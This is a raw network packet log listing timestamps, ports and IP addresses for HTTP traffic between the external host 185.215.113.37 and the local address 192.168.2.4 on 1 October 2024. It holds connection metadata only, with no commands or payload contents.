Oct 1, 2024 06:03:05.393428087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393434048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.393459082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393470049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.393491983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393501043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.393523932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393528938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.393557072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393567085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.393589973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393598080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.393623114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393635988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.393656969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393666983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.393692970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393697977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.393722057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393737078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.393753052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393762112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.393786907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393795967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.393817902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393827915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.393851042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393858910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.393882990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393894911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.393913984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393920898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.393944979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393960953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.393976927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.393986940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.394007921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.394018888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.394041061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.394048929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.394068956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.394083023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.394099951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.394109964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.394133091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.394140005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.394165039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.394171953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.394196987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.394208908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.394231081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.394237995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.394273043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.441970110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.441987991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442006111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442015886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442023039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442028046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442039013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442040920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442050934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442060947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442065954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442076921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442079067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442089081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442096949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442107916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442111015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442120075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442131042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442131042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442142963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442145109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442153931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442167997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442169905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442182064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442189932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442193985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442204952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442214012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442214012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442228079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442234993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442255974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442274094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442274094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442286968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442297935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442306995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442310095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442318916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442328930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442332983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442339897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442351103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442359924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442384958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442394972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442409992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442420959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442431927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442445040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442464113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442476034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442502022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442543030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442548037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442591906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442598104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442645073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442646027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442691088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442693949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442722082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442738056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442754030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442761898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442796946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442802906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442835093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442845106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442867041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442874908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442912102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442915916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.442949057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.442964077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443006039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443010092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443046093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443053961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443073988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443087101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443105936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443114042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443141937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443145990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443185091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443196058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443238020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443248987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443291903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443300962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443341970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443350077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443404913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443433046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443468094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443479061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443500042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443507910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443532944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443542957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443566084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443576097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443599939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443608046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443633080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443643093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443667889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443672895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443698883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443716049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443730116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443737984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443763018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443767071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443795919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443800926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443830013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443835974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443861961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443871021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443896055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443903923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443929911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443936110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443964005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.443970919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.443994999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.444003105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.444027901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.444035053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.444060087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.444068909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.444092035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.444103003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.444125891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.444133043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.444159031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.444169044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.444190979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.444201946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.444225073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.444231987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.444257021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.444267035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.444292068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.444295883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.444324017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.444334984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.444358110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.444364071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.444391966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.444400072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.444426060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.444432974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.444464922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.479367018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.479413986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.479434013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.479446888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.479455948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.479480982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.479494095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.479521036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.479530096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.479562998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.479573965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.479594946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.479608059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.479626894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.479636908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.479667902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.479674101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.479718924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.479726076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.479754925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.479768038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.479796886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.479804039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.479839087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.479849100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.479872942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.479887009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.479931116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.479955912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480000019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480005980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480040073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480048895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480072021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480083942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480104923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480113029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480137110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480150938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480171919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480178118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480202913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480212927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480241060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480245113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480272055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480283976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480303049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480313063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480335951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480343103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480365038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480376005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480396986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480405092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480431080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480436087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480462074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480469942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480494976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480501890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480526924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480540991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480559111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480586052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480618000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480631113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480631113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480631113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480648041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480648994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480679035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480705023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480710030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480722904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480741978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480751038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480773926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480807066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480808020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480808020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480840921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.480850935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.480885029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.528582096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.528609037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.528618097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.528625011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.528640985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.528656960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.528707981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.528718948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.528731108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.528745890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.528747082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.528759956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.528764963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.528769970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.528781891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.528788090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.528791904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.528803110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.528812885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.528822899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.528824091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.528834105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.528839111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.528862953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.528887033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.529042006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.529066086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.529076099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.529083967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.529093981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.529110909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.529160023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.529170990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.529180050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.529190063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.529191971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:05.529201984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:05.529216051 CEST	49730	80	192.168.2.4	185.215.113.37
